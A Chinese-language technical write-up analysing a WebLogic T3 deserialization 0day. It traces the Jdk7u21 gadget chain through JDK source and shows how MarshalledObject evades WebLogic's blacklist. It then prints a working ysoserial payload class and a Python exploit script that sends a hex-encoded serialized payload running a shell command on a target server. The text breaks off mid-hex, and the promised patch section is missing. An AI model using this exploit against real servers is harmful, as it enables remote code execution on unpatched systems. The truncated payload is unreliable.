一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞
本文内容共分六部分:
一、前言
二、Jdk7u21 的 PoC 分析
1、第一部分利用链分析
2、第二部分利用链分析
三、MarshalledObject分析
四、PoC 构造
五、实验复现
六、补丁分析
本次攻防演习期间,有人发现 Weblogic T3反序列化0day漏洞。攻击者可在原Jdk7u21 POC 基础上,加上 java.rmi.MarshalledObject 绕过黑名单,达到入侵目的,具体如下。
gadget 如下:
HashSet.readObject()
HashMap.put()
HashMap.hash()
*.hashCode() (计算第一个对象hash值)
HashSet.readObject()
HashMap.put()
HashMap.hash()
*.hashcode()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.hashCodeImpl()
HashMap.put()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader
TemplatesImpl.getTransletInstance()
Class.newInstance()
Runtime.exec()
1、分析第一部分利用链
Jdk7u21的第一部分利用链如下。
HashSet.readObject()
HashMap.put()
HashMap.hash()
*.hashCode()(计算第一个对象hash值)
HashSet.readObject()
HashMap.put()
HashMap.hash()
*.hashcode()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.hashCodeImpl()
HashMap.put()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
在对 LinkedHashSet 反序列化过程中,会进入 HashSet.readObject() 函数,关键代码块如下。
/ Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
根据 POC 信息,可知该函数会依次读取 LinkedHashSet 的 templates 和proxy对象,并将它们加入 map中。为什么需要加载两个对象呢?继续进入map.put() 函数,如下。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
该函数会计算存储进map的第一个对象Templates的Hash值,进入hash(key),如下。
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
程序会执行常规hash运算,注意,其中的 k.hashCode() 调用了系统函数;而如果构造动态代理,编写或寻找到合适代理类,则极有可能使多个存储进map的对象的hash值一致。返回至HashMap.put() 函数,继续分析,进入至indexFor(hash, table.length) 函数,如下。
/**
* Returns index for hash code h.
*/
static int indexFor(int h, int length) {
return h & (length-1);
}
table对象的原定义代码是table[bucketIndex] = new Entry<>(hash, key, value, e),负责保存 map 中每个对象及 hash 值等信息。此函数没有保存对象信息功能,仅仅负责统计返回当前对象在 table 中的索引值。随后返回至HashMap.put() 函数。
随后,如当前对象不在 table 中,则不进入循环,而是进入 addEntry(hash, key, value, i); 且在此期间进入父类方法,最终当前对象被保存至 table 中,关键代码如下。
void createEntry(int hash, K key, V value, int bucketIndex) {
HashMap.Entry<K,V> old = table[bucketIndex];
Entry<K,V> e = new Entry<>(hash, key, value, old);
table[bucketIndex] = e;
e.addBefore(header);
size++;
}
保存完第一个对象后,程序返回到 HashSet.readObject() 方法,并在 map 中添加第二个对象。如第二个对象是代理对象,则其 hash 值可能与前一个对象的hash 值碰撞,从而有利于绕过代码的验证逻辑,便于未来开展入侵测试;如POC中存在第二个代理对象,则会继续进入 map.put()。
进入 hash(key),计算第二个代理对象的hash值,进入 HashMap.hash() 函数。
在 POC 中,第二个代理对象的代理类是 AnnotationInvocationHandler,因此执行 k.hashCode() 时,会首先进入 AnnotationInvocationHandler.invoke() 方法,如下。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
根据方法名进入this.hashCodeImpl();,相关的代码块如下。
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
} else if (var1 == byte[].class) {
return Arrays.hashCode((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.hashCode((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.hashCode((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.hashCode((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.hashCode((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.hashCode((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.hashCode((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
}
}
var3信息来自AnnotationInvocationHandler的memberValues成员变量:如var3 中只有一条map信息,且该map的key为"f5a5a608"而value是加入map的第一个对象,则经调试分析发现,此时会发生两个对象hash值碰撞的情况。返回至 HashMap.put() 继续分析。
在循环代码块中,存在关键比较逻辑,如下。
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
该逻辑首先会比较两个对象的hash值是否相等:根据 PoC 可知两值相等,并且会执行至 key.equals(k)。k是第一个对象,key是第二个代理对象,则会执行代理类invoke()方法。POC中的代理类是AnnotationInvocationHandler,则进入AnnotationInvocationHandler.invoke(),随后再进入this.equalsImpl(var3[0]),如下。
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
Var5表示代理类的第一个方法,var1 表示前述的第一个对象,type 成员变量必须是第一个成员变量。根据代码 var5.invoke(var1) 可知,此方法必须是无参的,而POC中代理类 AnnotationInvocationHandler 的第一个方法getOutputProperties() 符合要求,因此进入TemplatesImpl.getOutputProperties(),如下。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
总体而言,第一部分链需同时满足如下关键条件:
LinkedHashSet 需要依次加入类对象和一个代理对象,设法使两个对象存在hash 碰撞情况;
代理对象的代理类 AnnotationInvocationHandler 的第二个成员变量仅存储一个 map 结构数据,key 为"f5a5a608",value 是第一个类对象;
代理类 AnnotationInvocationHandler 的 type 成员变量必须是第一个类对象可转化的类;以及
代理类的待利用方法需要是无参的。
2、 分析第二部分利用链
Jdk7u21 的第二部分利用链如下。
TemplatesImpl.getOutputProperties()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader
TemplatesImpl.getTransletInstance()
Class.newInstance()
Runtime.exec()
会在创建TransformerImpl 类过程中调用 getTransletInstance() 函数,函数信息如下。
/**
* This method generates an instance of the translet class that is
* wrapped inside this Template. The translet instance will later
* be wrapped inside a Transformer object.
*/
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
从中可知 _name 变量不能为 null,否则程序中断;那么当 _class 变量为 null时,会调用defineTransletClasses()执行什么重要指令呢?进入defineTransletClasses(),如下。
/**
* Defines the translet class and auxiliary classes.
* Returns a reference to the Class object that defines the main class
*/
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
由此可知在当前情况下,_bytecodes 不能为 null,否则程序报错终止;随后调用 new TransletClassLoader(ObjectFactory.findClassLoader()) 加载信息,但具体可以加载什么呢?继续分析进入下面代码块。
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
TransletClassLoader 继承自ClassLoader,主要功能包括根据字节码文件加载类的defineClass函数,因此这里成功创建并返回了TransletClassLoader类加载器。返回到defineTransletClasses()函数继续分析。
loader 即为创建的 TransletClassLoader 类加载器;_class 变量是自发创建的类数组,_auxClasses 变量是 hash 表;后续关键代码如下。
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
在循环代码块中,采用loader加载 _bytecodes[i],说明 _bytecodes 变量是一个包含多个类的字节码数组;随后会将 _bytecodes[i] 的父类与ABSTRACT_TRANSLET(ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet") 比较,相等则 _transletIndex 为i,否则将类信息保存至 _auxClasses 变量。循环完毕后,根据语句可知_transletIndex 不能小于0,否则程序报错中断。因此,_bytecodes 中至少有一个类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。最终返回至 getTransletInstance() 函数继续分析,如下。
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
_class 变量包含多个加载的类,如果_transletIndex 变量是这些类中父类为ABSTRACT_TRANSLET 的类索引号,则会顺利实例化此类对象;然而,如果在此类构造函数中加入恶意代码则达到恶意利用的目的。
一言以蔽之,攻击者可以构造一个TemplatesImpl类对象,关键要求:
其 _name 变量不能为 null;
_class=null;以及
_bytecodes 变量是字节码类数组,包含一个父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的恶意类。
当前,Jdk7u21 的 POC 符合要求。
Weblogic 将上述调用链中的com.sun.org.apache.xalan.internal.xsltc.trax 加入黑名单后,库中的 TemplatesImpl 类等会被检测到,从而成功阻止 Jdk7u21的 PoC 遭入侵利用。新 0day 的 PoC主要应用了 MarshalledObject 类绕过黑名单的检测,利用过程和 Jdk7u21 PoC 类似:将 MarshalledObject 对象作为恶意类,在程序执行过程中调用到其 get() 方法,反序列化 objBytes 成员变量,而这一切只需预先在此成员变量中保存 Jdk7u21 PoC 序列化数据即可。
分析 MarshalledObject 类。符合要求的无参函数 get() 相关代码如下。
public T get() throws IOException, ClassNotFoundException {
if (objBytes == null) // must have been a null object
return null;
ByteArrayInputStream bin = new (objBytes);
// locBytes is null if no annotations
ByteArrayInputStream lin =
(locBytes == null ? null : new ByteArrayInputStream(locBytes));
MarshalledObjectInputStream in =
new MarshalledObjectInputStream(bin, lin);
T obj = (T) in.readObject();
in.close();
return obj;
}
MarshalledObjectInputStream(InputStream objIn, InputStream locIn)
throws IOException
{
super(objIn);
this.locIn = (locIn == null ? null : new ObjectInputStream(locIn));
}
objBytes 变量不能为 null,程序可保存序列化后数据的 objBytes 变量 private byte[] objBytes = null; 至字节数组缓冲区bin变量,随后采用读入MarshalledObjectInputStream 对象,最后进入 in.reaObject() 方法。
因此,可将序列化恶意类对象保存至 objBytes 变量,当程序执行至 get() 方法时,即会调用 readObject() 解析执行恶意类对象。
团队成员设计实现的 PoC 如下。
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21_0 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final MarshalledObject templates = new MarshalledObject(null);
// 序列化原始Jdk7u21obj
Object obj = new Jdk7u21().getObject(command);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutput objectOutput = null;
objectOutput = new ObjectOutputStream(byteArrayOutputStream);
objectOutput.writeObject(obj);
objectOutput.flush();
byte[] bytearray = byteArrayOutputStream.toByteArray();
Reflections.setFieldValue(templates, "objBytes",
bytearray
);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
Map proxy = Gadgets.createProxy(tempHandler, Map.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
// Reflections.setFieldValue(templates, "locBytes", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21_0.class, args);
}
}
在 JDK7u21、Weblogic12.1.3.0 上通过T3协议发送攻击脚本,成功在 tmp 文件夹创建文件,如下。
EXP 如下:
#!/usr/bin/python2
import socket
import os
import sys
import struct
import time
if len(sys.argv) < 2:
print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0])
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 9.2.0\nAS:255\nHL:19\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj='\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x4F\x62\x6A\x65\x63\x74\x7C\xBD\x1E\x97\xED\x63\xFC\x3E\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5B\x00\x08\x6C\x6F\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5B\x42\x5B\x00\x08\x6F\x62\x6A\x42\x79\x74\x65\x73\x71\x00\x7E\x00\x04\x78\x70\x00\x00\x00\x0D\x70\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x0B\x8D\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06\xA5\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x39\x0A\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6E\x73\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x54\x72\x61\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x01\x00\x08\x3C\x63\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x07\x00\x2A\x01\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x01\x00\x15\x28\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x3B\x0C\x00\x2C\x00\x2D\x0A\x00\x2B\x00\x2E\x01\x00\x0F\x74\x6F\x75\x63\x68\x20\x2F\x74\x6D\x70\x2F\x30\x34\x32\x32\x08\x00\x30\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\x32\x00\x33\x0A\x00\x2B\x00\x34\x01\x00\x0D\x53\x74\x61\x63\x6B\x4D\x61\x70\x54\x61\x62\x6C\x65\x01\x00\x1E\x79\x73\x6F\x73\x6